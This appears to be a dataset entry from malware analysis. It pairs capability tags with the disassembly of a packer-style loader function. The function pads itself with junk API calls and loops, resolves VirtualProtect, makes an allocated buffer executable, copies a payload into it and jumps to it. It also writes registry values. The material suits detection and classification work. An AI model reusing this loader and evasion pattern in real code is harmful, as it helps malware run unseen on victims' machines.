Function at 0x40150d
Capabilities:
Allocate or change rwx memory
Enumerate gui resources
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get disk size
Read file on windows
Set environment variable
Set registry value

Disassembly:
mov eax, 0x42c70a
call fcn.0042b96c
sub esp, 0x834
push ebx
push esi
xor ebx, ebx
push edi
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, 0x207142
jg 0x40153b
inc esi
cmp esi, 0x67d12
jl 0x401524
cmp dword [0x244fc5c], 0x93
jne 0x4015fa
push ebx
call dword [sym.imp.KERNEL32.dll_AddAtomW]
xor eax, eax
lock bts dword [eax], 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateHardLinkA]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EnumResourceTypesW]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_IsProcessInJob]
push ebx
lea eax, [ebp - 0x840]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_VerLanguageNameW]
push str.jixepeducane
mov dword [ebp - 0x2c], 0xf
mov dword [ebp - 0x30], ebx
mov byte [ebp - 0x40], bl
call fcn.00402880
pop ecx
lea ecx, [ebp - 0x40]
call fcn.004018ef
push ebx
push ebx
push ebx
push ebx
mov dword [ebp - 4], ebx
call fcn.00402cad
push ebx
push ebx
call fcn.00402a08
add esp, 0x18
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x24]
mov dword [ebp - 0x18], 0x42f224
call fcn.0040224f
lea ecx, [ebp - 0x24]
mov dword [ebp - 0x24], vtable.std::bad_exception.0
call fcn.004022ab
push ebx
push ebx
call fcn.004021b0
or dword [ebp - 4], 0xffffffff
pop ecx
pop ecx
push 1
xor edi, edi
lea esi, [ebp - 0x40]
call fcn.004018b7
mov eax, dword [0x432670]
add dword [0x244fc5c], 0x1134b
push str.kernel32.dll
mov dword [0x2450a98], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push str.VirtualProtect
push eax
mov dword [0x244f6ec], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push dword [0x244fc5c]
mov dword [0x244f6e0], eax
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
lea ecx, [ebp - 0x10]
push ecx
push 0x40
push dword [0x244fc5c]
mov dword [0x244f6e8], eax
push eax
call dword [0x244f6e0]
xor esi, esi
cmp esi, 0xacc
jge 0x40166c
push ebx
call dword [sym.imp.USER32.dll_SetClipboardViewer]
push ebx
call dword [sym.imp.USER32.dll_GetSysColorBrush]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
cmp esi, 0x45be411
jg 0x401686
inc esi
cmp esi, 0x3330601
jl 0x401656
mov esi, 0x1692e
push ebx
lea eax, [ebp - 0x840]
push eax
call dword [sym.imp.USER32.dll_CharUpperBuffW]
call dword [sym.imp.USER32.dll_GetMessageExtraInfo]
call dword [sym.imp.KERNEL32.dll_GetLastError]
dec esi
jne 0x40168b
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
cmp dword [0x244fc5c], ebx
jbe 0x401708
mov eax, dword [0x2450a98]
mov al, byte [eax + esi + 0x1134b]
mov ecx, dword [0x244f6e8]
mov byte [ecx + esi], al
cmp dword [0x244fc5c], 0x490
jne 0x4016ff
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
call dword [sym.imp.KERNEL32.dll_GetConsoleCP]
push ebx
call edi
lea eax, [ebp - 0x18]
push eax
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_PeekConsoleInputW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
inc esi
cmp esi, dword [0x244fc5c]
jb 0x4016b6
xor esi, esi
mov eax, dword [0x244fc5c]
add eax, esi
cmp eax, 0x8d
jne 0x401743
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_RegSetValueA]
push ebx
push ebx
call dword [sym.imp.USER32.dll_SetMenu]
push str.Mul_nop_golinufarohiwif
push str.Sahikuxuyewa_wagivasixuvocut
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
inc esi
cmp esi, 0x38681
jl 0x40170a
call fcn.00401452
xor esi, esi
push ebx
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp esi, 0x61
jne 0x401772
mov dword [ebp - 0x14], ebx
add dword [ebp - 0x14], 0x3e73
mov eax, dword [ebp - 0x14]
add dword [0x244f6e8], eax
inc esi
cmp esi, 0x674bd
jl 0x401753
push 0x7b
pop esi
cmp dword [0x244fc5c], 0x86
jne 0x4017b8
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_HeapWalk]
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalLock]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileTime]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_IsBadHugeReadPtr]
dec esi
jne 0x40177e
push str.msimg32.dll
call edi
call dword [0x244f6e8]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret